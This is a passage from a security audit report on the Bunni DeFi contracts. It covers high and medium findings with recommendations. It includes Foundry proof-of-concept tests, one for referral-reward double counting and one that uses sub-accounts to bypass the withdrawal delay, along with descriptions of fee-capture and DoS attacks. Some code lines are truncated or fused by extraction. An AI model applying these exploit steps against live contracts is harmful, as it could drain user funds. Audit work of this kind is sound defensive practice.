          uint256referrer2Reward0,
          uint256referrer2Reward1
        ) = bunniToken.getClaimableReferralRewards(2
        console.log("ScoreOf referrer1", bunniToken.scoreOf(1));
        console.log("ScoreOf referrer2", bunniToken.scoreOf(2));
        console.log
          ("Rewards claimed by referrer1", referrer1Reward0, referrer1Reward1);
        console.log(
          "Rewardsclaimablebyreferrer2",
          referrer2Reward0,
          referrer2Reward1
        );
        //
        // 4. Malicious `Depositor1` deposits 0.1 ether again but he changes the
        // referrer1 to referrer2
        console.log
          ("\nMalicious Depositor1 deposits more token using referrer2 (referrer is mo
        _makeDeposit(key, 0.1 ether, 0.1 ether, depositor1, 2);
        (
          referrer1Reward0,
          referrer1Reward1
        ) = bunniToken.getClaimableReferralRewards(1
        (
          referrer2Reward0,
          referrer2Reward1
        ) = bunniToken.getClaimableReferralRewards(2
        (
          uint256referrer3Reward0,
          uint256referrer3Reward1
        ) = bunniToken.getClaimableReferralRewards(3
        console.log("ScoreOf referrer1", bunniToken.scoreOf(1));
        console.log("ScoreOf referrer2", bunniToken.scoreOf(2));
        console.log(
          "Rewardsclaimablebyreferrer1",
          referrer1Reward0,
```

```
            referrer1Reward1
        );
        console.log(
            "Rewardsclaimablebyreferrer2",
            referrer2Reward0,
            referrer2Reward1
        );
    }
```

It can be observed that, in the end, `referrer2` is able to claim `1.04 eth (1049999999999999499)`, which is incorrect. They should only be able to claim `0.5 eth (500000000000000000)` plus `0.04 eth (49999999999999499)`:

```
Ran 1 test for test/BunniToken.t.sol:BunniTokenTest
[PASS] test_claim_mint_doubleCount() (gas: 1105750)
Logs:
  Depositor1 deposits token using referrer1
  ScoreOf referrer1 999999999999999000
  Depositor2 deposits token using referrer2
  ScoreOf referrer2 1000000000000000000

The owner distributes 1 ether rewards...
  ScoreOf referrer1 999999999999999000
  ScoreOf referrer2 1000000000000000000
  Rewards claimed by referrer1 499999999999999500 0
  Rewards claimable by referrer2 500000000000000000 0

Malicious Depositor1 deposits more token using referrer2 (referrer is modified)
  ScoreOf referrer1 0
  ScoreOf referrer2 2099999999999998998
  Rewards claimable by referrer1 0 0
  Rewards claimable by referrer2 1049999999999999499 0
```

The issue arises when `ERC20Referrer::_mint` is called and the referrer is changed. The `score` is transferred to the new referrer; however, when switching from one referrer to another, the rewards are not claimed by the new referrer. This causes the score to be counted twice, allowing it to be used again in the function that calculates the rewards.

Recommendations

It is recommended that if the depositor changes their referrer, the rewards assigned to the referrer to whom the `score` will be transferred should be processed before transferring the `score`.

8.2. High Findings

[H-01] Function `poolManager.sync` called before the unlock process

Severity

Impact: Medium

Likelihood: High

Description

In the `BunniHook` contract, there is a function call to `poolManager.sync` at line `BunniHook#L501`, which comes before the initiation of an `unlock` process at line `BunniHook#L505`.

```
File: BunniHook.sol
465:     function rebalanceOrderPostHook
  (RebalanceOrderHookArgs calldata hookArgs) external override nonReentrant {
...
...
500:         // posthook should wrap output tokens as claim tokens and push it
// from BunniHook to BunniHub and update pool balances
501:>>>      poolManager.sync(args.currency);
502:         if (!args.currency.isNative()) {
503:             Currency.unwrap(args.currency).safeTransfer(address
  (poolManager), orderOutputAmount);
504:         }
505:>>>      poolManager.unlock(
506:             abi.encode(
507:                 HookUnlockCallbackType.REBALANCE_POSTHOOK,
508:                 abi.encode(
  args.currency,
  orderOutputAmount,
  hookArgs.key,
  hookArgs.key.currency0==args.currency
)
509:             )
510:         );
511:     }
```

The `sync` function in the `poolManager` contract is guarded by a modifier `onlyWhenUnlocked`, which ensures that it can only be called when an `unlock` process has already been initiated.

```
...
    ...
    modifier onlyWhenUnlocked() {
        if (!Lock.isUnlocked()) ManagerLocked.selector.revertWith();
        _;
    }
    ...
    ...
    function sync(Currency currency) external onlyWhenUnlocked {
        // address(0) is used for the native currency
        if (currency.isAddressZero()) {
            // The reserves balance is not used for native settling, so we only
            // need to reset the currency.
            CurrencyReserves.resetCurrency();
        } else {
            uint256 balance = currency.balanceOfSelf();
            CurrencyReserves.syncCurrencyAndReserves(currency, balance);
        }
    }
```

Since the `unlock` process is not initiated until line `BunniHook#L505`, the call to `sync` at line 501 will fail, causing the transaction to revert, causing the rebalance operation to fail. This failure can lead to unbalanced pools, as there is no alternative mechanism to ensure pool balance.

Recommendations

To address this issue, the `sync` function call and any potential `safeTransfer` operations (`BunniHook#L503`) should be moved inside the `REBALANCE_POSTHOOK` callback. This ensures that the unlock process is initiated before attempting to synchronize the pool.

[H-02] amAMM manager can capture fees from the protocol and referrers

Severity

Impact: High

Likelihood: Medium

Description

The amAMM manager is allowed to set and adjust swap fees to maximize revenue. A percentage of the fees captured by the manager is distributed to the protocol and referrers.

However, the manager can retain all the fees by acting as a proxy between the swapper and the Bunni protocol. By setting the swap fee in the Bunni protocol to the maximum and offering a lower fee in swaps executed through his proxy contract, users might be incentivized to always interact with the manager contract.

The flow for swaps in the manager contract would be as follows:

- Receive the input token from the swapper.
- Set the swap fee in the Bunni protocol to 0 and perform the swap without fees.
- Manage the fee retention inside the manager contract itself and send the due output token amount to the swapper.
- Set the swap fee in the Bunni protocol to max value.

As a result, protocol and referrers receive no fees and the manager captures the full amount of swap fees.

It can be argued that having to interact with a different manager contract depending on the pool and the current topBid will reduce the likelihood of users interacting with the manager contract. However, it is likely that a canonical proxy swapper contract will be created to allow managers to perform this strategy and attract all the users to interact with it.

Proof of concept

Imagine the following scenario in a Bunni pool for the USDC/XYZ pair:

- `hookFeeModifier` is 10%.
- `referralRewardModifier` is 10%.
- Current exchange rate is 1 USDC = 1 XYZ.
- With the current market conditions, the "fair" fee value is 1%.
- Current amAMM fee is set at 10%, but manager contract offers swaps with 1% fee.
- Alice wants to swap 1,000 USDC for XYZ, so she does it through the manager contract.
- To process Alice's swap, manager contract sets amAMM fee to 0, performs the swap, retains 1% of the output amount as a fee (10 XYZ), and sends the rest to Alice (990 XYZ).

The expected outcome would be that the manager receives 9 XYZ, the protocol receives 0.9 XYZ, and the referrers receive 0.1 XYZ. However, the manager has captured the fees of the protocol and referrers.

Recommendations

Use always the fee override or dynamic swap fee as the base for the calculation of the hook fees.

[H-03] Share price increases can lead to sandwiching attacks when using only one vault

Severity

Impact: High

Likelihood: Medium

Description

The surge fee is a mechanism to avoid sandwiching attacks during autonomous liquidity modifications, which can happen due to LDF updates, rehypothecation yields, or autonomous rebalances.

The `beforeSwap` function in `BunniHookLogic` checks for these changes in liquidity and the check for changes in rehypothecation yields is done in the `_shouldSurgeFromVaults` function. This function performs the check only when both vaults are being used, assuming that when using only one vault, the total liquidity will not change. However, in case the tokens in the pool are unbalanced and only the token with less liquidity uses a vault, an increase in the share price of its vault will increase the total liquidity, which can lead to a sandwiching attack.

Recommendations

Apply a check for surge from vaults also when only one of the vaults is being used. All changes done in `BunniHookLogic` should also be done in `BunniQuoter` to offer accurate quotes.

[H-04] Attacker can DOS the rebalance mechanism

Severity

Impact: Medium

Likelihood: High

Description

When the code tries to perform the rebalance in the `rebalanceOrderPreHook()` function code checks that the token balance BunniHook is equal to `amount` which is the order amount.

```
// ensure we have exactly args.amount tokens
        if (args.currency.balanceOfSelf() != args.amount) {
            revert BunniHook__PrehookPostConditionFailed();
        }
```

The issue is that BunniHook contract may contain the manager's fees when am-AMM is enabled and also an attacker can donate a small amount of tokens to the BunniHook so that the check won't be true when am-AMM is enabled and the rest of the time attacker can make it false by donating tokens. The impact is that the autonomous rebalance mechanism won't work.

Recommendations

Check that the contract's token balance increase is equal to `args.amount` not the total balance.

[H-05] Using the same block number as nonce for permit2 order

Severity

Impact: Medium

Likelihood: High

Description

In BunniHook when code wants to create Flood.bid order it uses `block.number` as nonce for permit2 signature.

```
IFloodPlain.Order memory order = IFloodPlain.Order({
            offerer: address(this),
            zone: address(env.floodZone),
            recipient: address(this),
            offer: offer,
            consideration: consideration,
            deadline: block.timestamp + rebalanceOrderTTL,
            nonce: block.number,
            preHooks: preHooks,
            postHooks: postHooks
        });
```

The issue is that if in the same block there were multiple rebalance orders only one of them will be executed as Permi2 won't allow to use same nonce twice. Flood uses `permitWitnessTransferFrom()`/`_permitTransferFrom()` function in Permit2 to transfer tokens and they won't allow for the same nonce to be used twice.

Because BunniHook handles all the pools rebalance orders so this issue won't let two rebalance happen in the same block and without any attack some rebalances won't happen. Also attacker can use this issue and prevent pools from rebalancing by creating a rebalance for their fake pool in each block (or attacker can front-run rebalance creations and create rebalance for their pool).

Recommendations

Use nonce based on a combination of pool's ID and block timestamp.

8.3. Medium Findings

[M-01] Malicious LP can create withdrawal request frequently and undermine withdrawal delay

Severity

Impact: Medium

Likelihood: Medium

Description

To withdraw tokens, the LP providers should first create withdrawal requests and after 1-minute delay then they have 15 minutes to finalize the withdraw. The issue is that attackers can create withdraw requests every 16 minutes and this way they can withdraw in those 15 minutes and only about 6% percent of the time they can't perform instant withdraw (only in those 1-minute delays do they have to wait). This attack would undermine the withdraw delay mechanism.

Recommendations

Either have some penalty for withdraw requests or stop accruing fees and rewards for tokens that are specified in withdraw requests or lower the grade period time.

[M-02] Incorrect reserve amount handling during deposit

Severity

Impact: Medium

Likelihood: Medium

Description

In the `BunniHubLogic` contract, there is an issue concerning the usage of outdated reserve amounts during the deposit process. Specifically, when the hooklet is invoked at line 193, the `amount` parameter sent does not reflect the actual deposited amount calculated at line 144. This discrepancy arises because the `amount` still references the old `reserveAmount` value, which has not been updated to account for the recent deposit in lines 144 and 153.

Additionally, the slippage check in line 167, which also relies on this outdated amount, may pass incorrectly, leading to discrepancies.

```
File: BunniHubLogic.sol
073:     function deposit(
  HubStoragestorages,
  Envcalldataenv,
  IBunniHub.DepositParamscalldataparams
)
074:         external
075:         returns (uint256 shares, uint256 amount0, uint256 amount1)
076:     {
...
...
104:         uint256 reserveAmount0 = depositReturnData.reserveAmount0;
105:         uint256 reserveAmount1 = depositReturnData.reserveAmount1;
106:>>>      amount0 = depositReturnData.amount0;
107:>>>      amount1 = depositReturnData.amount1;
...
...
114:         (uint256 rawAmount0, uint256 rawAmount1) = (
115:>>>          address(state.vault0) != address
  (0) ? amount0 - reserveAmount0 : amount0,
116:>>>          address(state.vault1) != address
  (0) ? amount1 - reserveAmount1 : amount1
117:         );
...
...
136:         // update reserves
137:         if (address(state.vault0) != address(0) && reserveAmount0 != 0) {
138:             (
  uint256reserveChange,
  uint256reserveChangeInUnderlying
) = _depositVaultReserve(
139:
                  env, reserveAmount0, params.poolKey.currency0, state.vault0, msgSen
140:             );
141:             s.reserve0[poolId] = state.reserve0 + reserveChange;
142:
143:             // use actual withdrawable value to handle vaults with
// withdrawal fees
144:>>>          reserveAmount0 = reserveChangeInUnderlying;
145:         }
146:         if (address(state.vault1) != address(0) && reserveAmount1 != 0) {
147:             (
  uint256reserveChange,
  uint256reserveChangeInUnderlying
) = _depositVaultReserve(
148:
                  env, reserveAmount1, params.poolKey.currency1, state.vault1, msgSen
149:             );
150:             s.reserve1[poolId] = state.reserve1 + reserveChange;
151:
152:             // use actual withdrawable value to handle vaults with
// withdrawal fees
153:>>>          reserveAmount1 = reserveChangeInUnderlying;
154:         }
155:
156:         // mint shares using actual token amounts
157:         shares = _mintShares(
158:             state.bunniToken,
159:             params.recipient,
160:>>>          address(state.vault0) != address
  (0) ? rawAmount0 + reserveAmount0 : rawAmount0,
161:             depositReturnData.balance0,
162:>>>          address(state.vault1) != address
  (0) ? rawAmount1 + reserveAmount1 : rawAmount1,
163:             depositReturnData.balance1,
164:             params.referrer
165:         );
```

```
166:
167:>>>       if (amount0 < params.amount0Min || amount1 < params.amount1Min) {
168:               revert BunniHub__SlippageTooHigh();
169:           }
...
...
193:>>>       state.hooklet.hookletAfterDeposit(
194:>>>           msgSender, params, IHooklet.DepositReturnData
  ({shares: shares, amount0: amount0, amount1: amount1})
195:           );
196:       }
```

As can be observed in line 160 and 162, minting is performed according to the newly calculated `reserveAmount0` and `reserveAmount1`. However, during the slippage check or when calling the hooklet, the new `reserveAmount` is not reflected in the `amount` variable. Hooklets can be implemented for various tasks e.g. fee on transfer tokens in the vault, and if the `amount` does not accurately reflect the current deposited amount, then the hooklets will operate with incorrect information.

Recommendations

To mitigate this issue, the `amount` parameter should be recalculated to reflect the actual deposit amounts before being used in subsequent operations such as invoking the hooklet and performing slippage checks.

```
function deposit(
      HubStoragestorages,
      Envcalldataenv,
      IBunniHub.DepositParamscalldataparams
    )
        external
        returns (uint256 shares, uint256 amount0, uint256 amount1)
    {
        ...
        ...
        // update reserves
        if (address(state.vault0) != address(0) && reserveAmount0 != 0) {
            (
              uint256reserveChange,
              uint256reserveChangeInUnderlying
            ) = _depositVaultReserve(

                                env, reserveAmount0, params.poolKey.currency0, state.
            );
            s.reserve0[poolId] = state.reserve0 + reserveChange;

            // use actual withdrawable value to handle vaults with withdrawal
            // fees
            reserveAmount0 = reserveChangeInUnderlying;
        }
        if (address(state.vault1) != address(0) && reserveAmount1 != 0) {
            (
              uint256reserveChange,
              uint256reserveChangeInUnderlying
            ) = _depositVaultReserve(

                                env, reserveAmount1, params.poolKey.currency1, state.
            );
            s.reserve1[poolId] = state.reserve1 + reserveChange;

            // use actual withdrawable value to handle vaults with withdrawal
            // fees
            reserveAmount1 = reserveChangeInUnderlying;
        }

        // mint shares using actual token amounts
        shares = _mintShares(
            state.bunniToken,
            params.recipient,
            address(state.vault0) != address
              (0) ? rawAmount0 + reserveAmount0 : rawAmount0,
            depositReturnData.balance0,
            address(state.vault1) != address
              (0) ? rawAmount1 + reserveAmount1 : rawAmount1,
            depositReturnData.balance1,
            params.referrer
        );

+       amount0 = rawAmount0 + reserveAmount0;
+       amount1 = rawAmount1 + reserveAmount1;

        if (amount0 < params.amount0Min || amount1 < params.amount1Min) {
            revert BunniHub__SlippageTooHigh();
        }

        // refund excess ETH
        if (params.poolKey.currency0.isNative()) {
            if (address(this).balance != 0) {
                params.refundRecipient.safeTransferETH(
                    FixedPointMathLib.min(address
                      (this).balance, msg.value - amount0)
                );
```

```
            }
        } else if (params.poolKey.currency1.isNative()) {
            if (address(this).balance != 0) {
                params.refundRecipient.safeTransferETH(
                    FixedPointMathLib.min(address
                      (this).balance, msg.value - amount1)
                );
            }
        }

        // emit event
        emit IBunniHub.Deposit
          (msgSender, params.recipient, poolId, amount0, amount1, shares);

        ///
        // --------------------------------------------------------------------
        /// Hooklet call
        ///
        // --------------------------------------------------------------------

        state.hooklet.hookletAfterDeposit(
            msgSender, params, IHooklet.DepositReturnData
              ({shares: shares, amount0: amount0, amount1: amount1})
        );
    }
```

[M-03] Funds from bids can get locked if amAMM is disabled for a pool

Severity

Impact: High

Likelihood: Low

Description

The amAMM can be disabled for a pool via the pool and global overrides.

All the interactions with the amAMM contract require that it is enabled for the pool involved in the operation.

If the amAMM is disabled for a pool after it has been active, this can lock the funds of the bidders as:

- Pending refunds cannot be claimed.
- `nextBid` cannot be canceled and thus, the deposit gets locked.
- `topBid` remaining deposits cannot be recovered.

Recommendations

Consider removing the requirement for amAMM to be enabled in `claimRefund`, `cancelNextBid`, `withdrawFromNextBid`, and `withdrawFromTopBid`.

Also, when the amAMM is not enabled, relax the conditions for cancellation and withdrawal so that managers can always get back their deposits.

[M-04] Swaps on the first 24 hours from pool creation cannot use amAMM

Severity

Impact: Low

Likelihood: High

Description

When a pool is created, the amAMM is initially in State A (no top bid, no next bid). For the first top bid to be set (State B) it is required that at least K epochs (24 hours) pass.

This means that on the first day of trades, the pool will not be able to use the amAMM mechanism to recapture MEV and optimize swap fee revenue. Given that during the first hours of a pool creation, the trade volume is expected to be very high, it is especially important to use this mechanism during this period.

Recommendations

Allow assigning an arbitrary initial top bid on pool creation.

[M-05] Promotion of `nextBid` to `topBid` can be delayed until no new bids are submitted

Severity

Impact: Medium

Likelihood: Medium

Description

When there is no topBid in the amAMM, nextBid cannot be promoted to topBid until K epochs have passed since the epoch when the last topBid was set. This means that each time the nextBid is updated the promotion to topBid is delayed by `current epoch - previous nextBid epoch`.

Let's take the following example:

- At epoch 100 there is no topBid and a new nextBid is created. The next manager can be set at epoch 124.
- At epoch 120 a higher nextBid is created. The next manager now cannot be set until epoch 144.
- At epoch 140 a higher nextBid is created. The next manager now cannot be set until epoch 164.

This means that the period of time without a topBid, and thus without amAMM protection and without the need to use withdrawal queues, will be extended while new bids are submitted. This can happen organically, or it can be provoked by an attacker who wants to take advantage of the longer period of time without amAMM protection to perform MEV attacks.

Recommendations

Consider not updating the `epoch` of the nextBid when a new bid is created. This way, the promotion to topBid will not be delayed by the time that has passed since the previous nextBid was created.

[M-06] Wrong referrer reward calculation for `address(0)` can cause fund loss

Severity

Impact: Medium

Likelihood: Medium

Description

When users transfer their Bunni token, code calls `_beforeTokenTransfer(from, to, amount)` to update `from` and `to` referrers claim states. Code doesn't update the claim state for `to` address if `to` is zero to avoid updating the zero address claim state when users burn their tokens (which code calls `_beforeTokenTransfer(from, 0, amount)`):

```
function _beforeTokenTransfer
   (address from, address to, uint256) internal override {
--snip--
        if (from != address(0)) {
--snip--
        }
        if (to != address(0)) {
--snip--
        }
    }
```

The issue is that users may transfer some tokens to a zero address then the claim state of the zero referrers won't get updated too and while the score of the zero referrer gets updated, the code won't accrue the zero address's referrer's rewards and in the future, the rewards calculation for the zero address referrer would be higher than what it should be. The default owner of the zero address referrer is the protocol's admin. There are multiple reasons why users may transfer Bunni tokens to a zero address one is that in some situations this attack would be more profitable than the loss of Bunni tokens (The owner of the zero address referrer would transfer some tokens to 0 address and claim more tokens with referrer rewards.). The second scenario is that in many projects the community or project team would send some LP tokens to 0 address to lock the LP forever so users would be sure there's always liquidity if they want to sell the protocol's token and when sending those LP tokens (Bunni tokens) to 0 address they would trigger this issue.

Recommendations

Update the zero address referrer score when Bunni tokens are transferred to the zero address.

[M-07] It is possible to perform a price inflation attack for Bunni token

Severity

Impact: Low

Likelihood: High

Description

When the first depositor deposits tokens to the pool, code mints `1e3` Bunni token for zero address and mints `1e18 - 1e3` for the depositor. The issue is that Bunni tokens allow users to burn their tokens and if the first depositor burns their Bunni token then the total supply of Bunni tokens would be 1000 while pool tokens can be as big as the first depositor wants.

```
uint256 existingShareSupply = shareToken.totalSupply();
        if (existingShareSupply == 0) {
            // no existing shares, just give WAD
            shares = WAD - MIN_INITIAL_SHARES;
            shareToken.mint(address(0), MIN_INITIAL_SHARES, 0);
```

For example, if the first depositor deposits `1e21` tokens (for one of the pool tokens) and then burns his received Bunni tokens then the Bunni token ratio to the pool tokens would be `1e18`, and rounding errors would be as high as `1e18` for deposits or withdraws and users would lose funds in each deposit or withdraw. As the pool receives a fee the LP price would go higher over time and the rounding error would increase too.

Recommendations

Mint `1e6` for the zero address to decrease the impact of the attack.

[M-08] Users can deposit liquidity in the last minutes of the previous epoch and earn a fee

Severity

Impact: Medium

Likelihood: Medium

Description

When am-AMM is enabled the BunniHook code collects the rent as BunniToken(LP) and burns each epoch's rent when new epochs begin.

```
// burn rent charged
        if (rentCharged != 0) {
            _burnBidToken(id, rentCharged);
        }
```

Each epoch is 1 hour and the code distributes entire epochs rents among liquidity providers in one moment. The issue is that users can deposit liquidity in the last moments of the previous epoch and still receive the rent. Code prevents front-runners by distributing rent before each deposit but this won't prevent attacks that deposit in the last minutes of the previous epoch receive rent rewards and then withdraw. By doing this, attackers' funds would be blocked for 1 or 2 minutes (If there's a withdrawal delay) but they would receive fee rewards for the past hour.

Recommendations

Distribute the epoch's reward over time for liquidity providers.

[M-09] Checking if amAMM is enabled

Severity

Impact: Medium

Likelihood: Medium

Description

In the `BunniHook` contract `amAmmEnabledOverride` and `globalAmAmmEnabledOverride` are used to check if amAMM is enabled, taking precedence over the `hookParams.amAmmEnabled` value. As so, they can be used to disable amAMMs even when their `hookParams.amAmmEnabled` is set to `true`.

```
/// @notice Enables/disables am-AMM globally. Takes precedence over amAmmEnabled
// in hookParams, overridden by amAmmEnabledOverride.
BoolOverride internal globalAmAmmEnabledOverride;
```

However, in `BunniHookLogic.beforeSwap` the values of `amAmmEnabledOverride` and `globalAmAmmEnabledOverride` are not used to check if amAMM is enabled. In case the value of `hookParams.amAmmEnabled` is true and top bid exists, `amAmmSwapFee` will be used for the swap and part of the fee will be accrued by the amAMM manager.

```
if (hookParams.amAmmEnabled) {
    bytes7 payload;
    IAmAmm.Bid memory topBid = IAmAmm(address(this)).getTopBidWrite(id);
    (amAmmManager, payload) = (topBid.manager, topBid.payload);
    uint24 swapFee0For1;
    uint24 swapFee1For0;
    (swapFee0For1, swapFee1For0, amAmmEnableSurgeFee) = decodeAmAmmPayload
      (payload);
    amAmmSwapFee = params.zeroForOne ? swapFee0For1 : swapFee1For0;
}
```

The protocol admin might want to disable the amAMM for a specific pool for different reasons, such as compliance with regulations or preventing a manager with a bad reputation from setting the swap fee.

If the protocol admin sets the `amAmmEnabledOverride` to false, the manager cannot to change the swap fee and new bids cannot be created. As a result, all swaps will be executed with the latest swap fee set by the manager, not being able to adjust the fee to the market conditions, and the manager will keep receiving fees from the swaps. This situation will persist until the protocol admin re-enables the amAMM for the pool or the manager deposit is depleted.

The same issue is present in the `BunniQuoter.quoteSwap` function.

Recommendations

In `BunniHookLogic` and `BunniQuoter`, use `BunniHook.getAmAmmEnabled()` instead of `hookParams.amAmmEnabled` in order to check if amAMM is enabled.

[M-10] DoS on `deposit` if vaults do not accept more tokens

Severity

Impact: Medium

Likelihood: Medium

Description

On deposits to `BunniHub`, if the pool uses vaults for rehypothecation, a fraction of the amount deposited is sent to the vaults.

However, it is not checked if the vaults can accept the amount sent to them. Vaults might not be able to accept deposits for various reasons, such as reaching the maximum deposit amount or the vault being paused temporarily. In such scenarios, the deposit transaction will revert, not allowing LPs to deposit tokens in `BunniHub`.

Recommendations

Add the following code at the end of the `_depositLogic` function in the `BunniHubLogic` library and the `BunniQuoter` contract:

```
uint256 maxDepositAmount0 = inputData.state.vault0.maxDeposit(address
      (this));
    if (returnData.reserveAmount0 > maxDepositAmount0) {
        returnData.reserveAmount0 = maxDepositAmount0;
    }

    uint256 maxDepositAmount1 = inputData.state.vault1.maxDeposit(address
      (this));
    if (returnData.reserveAmount1 > maxDepositAmount1) {
        returnData.reserveAmount1 = maxDepositAmount1;
    }
```

[M-11] Users can call `queueWithdraw` in advance to bypass the withdraw delay

Severity

Impact: Low

Likelihood: High

Description

The `BunniHub` contract has a certain delay when withdrawing tokens. The specific withdrawal process is as follows.

1. The user calls `BunniHub.queueWithdraw` to initiate withdraw
2. The withdrawal delay time has passed

3. The user calls `BunniHub.withdraw` to finish withdraw

However, the `queueWithdraw` function does not lock the tokens to be withdrawn. An attacker can call the `queueWithdraw` function in advance to bypass the withdrawal delay. And the attacker can use multiple sub-accounts to call `queueWithdraw` in advance, and then withdraw any number of tokens at any time. Please refer to PoC for the specific implementation.

Recommendations

It is recommended that the `queueWithdraw` function lock the tokens to be withdrawn.

Appendix: PoC

Please insert this test function into the `BunniHub.t.sol` file.

```
function testYttriumzzPoC0005() external {
        // Init pool
        vm.label(address(token0), "token0");
        vm.label(address(token1), "token1");
        vm.label(address(permit2), "permit2");
        Currency currency0 = Currency.wrap(address(token0));
        Currency currency1 = Currency.wrap(address(token1));
        (
          IBunniTokenbunniToken,
          PoolKeymemorykey
        ) = _deployPoolAndInitLiquidity(currency0, currency1, ERC4626(address(0

        // Mint some token0 and token1 for test
        address attaker = makeAddr("attaker");
        _mint(currency0, attaker, 100e18);
        _mint(currency1, attaker, 100e18);

        // Attacker used his sub-accounts to call `queueWithdraw` many times to
        // occupy the queue
        // Each occupies 1e18 tokens
        IBunniHub.QueueWithdrawParams memory queueWithdrawParams;
        queueWithdrawParams.poolKey = key;
        queueWithdrawParams.shares = 1e18;
        for (uint160 i = 0; i < 100; i++) {
            address subAccount = address(uint160(makeAddr("sub-account")) + i);
            vm.prank(subAccount); hub.queueWithdraw(queueWithdrawParams);
        }
        vm.warp(block.timestamp + WITHDRAW_DELAY);

        // Attaker mint bunniToken
        vm.startPrank(attaker);
        IBunniHub.DepositParams memory depositParams;
        depositParams.poolKey = key;
        depositParams.amount0Desired = 100e18;
        depositParams.amount1Desired = 100e18;
        depositParams.deadline = block.timestamp;
        depositParams.recipient = attaker;
        depositParams.refundRecipient = attaker;
        token0.approve(address(permit2), type(uint256).max);
        token1.approve(address(permit2), type(uint256).max);
        permit2.approve(address(token0), address(hub), type(uint160).max, type
          (uint48).max);
        permit2.approve(address(token1), address(hub), type(uint160).max, type
          (uint48).max);
        hub.deposit(depositParams);
        vm.stopPrank();

        console.log("token0.balanceOf(attaker): %s", token0.balanceOf(attaker));
        console.log("token1.balanceOf(attaker): %s", token1.balanceOf(attaker));
        console.log("bunniToken.balanceOf(attaker): %s", bunniToken.balanceOf
          (attaker));

        // Attaker can withdraw any amount of tokens at any time
        IBunniHub.WithdrawParams memory withdrawParams;
        withdrawParams.poolKey = key;
        withdrawParams.recipient = address(attaker);
        withdrawParams.shares = 1e18;
        withdrawParams.deadline = block.timestamp;
        withdrawParams.useQueuedWithdrawal = true;
        for (uint160 i = 0; i < 10; i++) {
            address subAccount = address(uint160(makeAddr("sub-account")) + i);
            vm.prank(attaker); bunniToken.transfer(subAccount, 1e18);
            vm.prank(subAccount); hub.withdraw(withdrawParams);
        }

        console.log("token0.balanceOf(attaker): %s", token0.balanceOf(attaker));
        console.log("token1.balanceOf(attaker): %s", token1.balanceOf(attaker));
```

```
        console.log("bunniToken.balanceOf(attaker): %s", bunniToken.balanceOf
          (attaker));
```

Run the PoC.

```
forge test -vvv --match-test testYttriumzzPoC0005
```

The result.

```
$ forge test -vvv --match-test testYttriumzzPoC0005
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] testYttriumzzPoC0005() (gas: 5606772)
Logs:
  token0.balanceOf(attaker): 73616158154794097300
  token1.balanceOf(attaker): 0
  bunniToken.balanceOf(attaker): 100000000000000000000
  token0.balanceOf(attaker): 76254542339314687570
  token1.balanceOf(attaker): 1000000000000000000
  bunniToken.balanceOf(attaker): 900000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.10s
  (19.75ms CPU time)

Ran 1 test suite in 1.15s
  (1.10s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

[M-12] Incorrect condition handling in `BunniSwapMath::_computeSwap()`

Severity

Impact: Medium

Likelihood: Medium

Description

In the `BunniSwapMath::_computeSwap` function, there is an issue with the condition handling at line `BunniSwapMath#L134`. Specifically, the `if` statement does not validate whether `naiveSwapResultSqrtPriceX96` is equal to `sqrtPriceNextX96`.

```
File: BunniSwapMath.sol
080:     function _computeSwap
  (BunniComputeSwapInput calldata input, int256 amountSpecified)
081:         private
082:         view
083:         returns (
  uint160updatedSqrtPriceX96,
  int24updatedTick,
  uint256inputAmount,
  uint256outputAmount
)
084:     {
...
...
115:>>>          int256 amountSpecifiedRemaining = amountSpecified;
116:             (
  uint160naiveSwapResultSqrtPriceX96,
  uint256naiveSwapAmountIn,
  uint256naiveSwapAmountOut
) = SwapMath
117:                 .computeSwapStep({
118:                 sqrtPriceCurrentX96: input.sqrtPriceX96,
119:                 sqrtPriceTargetX96: SwapMath.getSqrtPriceTarget
  (zeroForOne, sqrtPriceNextX96, sqrtPriceLimitX96),
120:                 liquidity: updatedRoundedTickLiquidity,
121:                 amountRemaining: amountSpecifiedRemaining
122:             });
123:             if (!exactIn) {
124:                 unchecked {

126:                 }
127:             } else {
128:                 // safe because we test that amountSpecified > amountIn in
// SwapMath
129:                 unchecked {
130:>>>                  amountSpecifiedRemaining += naiveSwapAmountIn.toInt256
  ();
131:                 }
132:             }
133:             if (
134:>>>
                amountSpecifiedRemaining == 0 || naiveSwapResultSqrtPriceX96 == sqrtPr
135:>>>                  ||
  (zeroForOne && naiveSwapResultSqrtPriceX96 > sqrtPriceNextX96)
136:>>>                  ||
  (!zeroForOne && naiveSwapResultSqrtPriceX96 < sqrtPriceNextX96)
137:             ) {
138:                 // swap doesn't cross rounded tick
139:>>>              if (naiveSwapResultSqrtPriceX96 == sqrtPriceNextX96) {
140:                     // Equivalent to `updatedTick = zeroForOne ? tickNext -
// 1 : tickNext;`
141:                     unchecked {
142:                         // cannot cast a bool to an int24 in Solidity
143:                         int24 _zeroForOne;
144:                         assembly {
145:                             _zeroForOne := zeroForOne
146:                         }
147:                         updatedTick = tickNext - _zeroForOne;
148:                     }
149:                 } else if
  (naiveSwapResultSqrtPriceX96 != input.sqrtPriceX96) {
150:                     // recompute unless we're on a lower tick boundary
//(i.e. already transitioned ticks), and haven't moved
151:                     updatedTick = TickMath.getTickAtSqrtPrice
  (naiveSwapResultSqrtPriceX96);
152:                 }
153:
```

```
154:                 // early return
155:>>>              return (
  naiveSwapResultSqrtPriceX96,
  updatedTick,
  naiveSwapAmountIn,
  naiveSwapAmountOut
);
156:             }
157:         }
```

As a result, the condition at line `BunniSwapMath#L139` is not processed and the `early return` is not executed `BunniSwapMath#L155`, causing the Liquidity Density Function (LDF) being used to compute the swap, where the `inverseCumulativeAmountFnInput` uses the `inputAmount` instead of a decreased amount reflecting the portion already covered in the first swap step in `BunniSwapMath#L125` and `BunniSwapMath#L130`, resulting in an incorrect swap computation.

```
File: BunniSwapMath.sol
080:     function _computeSwap
  (BunniComputeSwapInput calldata input, int256 amountSpecified)
081:         private
082:         view
083:         returns (
  uint160updatedSqrtPriceX96,
  int24updatedTick,
  uint256inputAmount,
  uint256outputAmount
)
084:     {
...
...
159:         // swap crosses rounded tick
160:         // need to use LDF to compute the swap
161:         (uint256 currentActiveBalance0, uint256 currentActiveBalance1) = (
162:             input.totalDensity0X96.fullMulDiv(input.totalLiquidity, Q96),
163:             input.totalDensity1X96.fullMulDiv(input.totalLiquidity, Q96)
164:         );
165:
166:         // compute updated sqrt ratio & tick
167:         {
168:             uint256 inverseCumulativeAmountFnInput;
